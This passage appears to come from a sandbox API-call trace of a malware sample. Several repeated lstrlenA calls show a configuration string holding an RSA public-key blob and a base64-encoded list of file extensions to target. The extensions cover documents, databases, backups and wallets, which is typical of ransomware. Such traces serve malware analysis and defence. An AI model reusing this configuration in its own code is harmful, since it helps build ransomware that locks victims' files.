LmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXR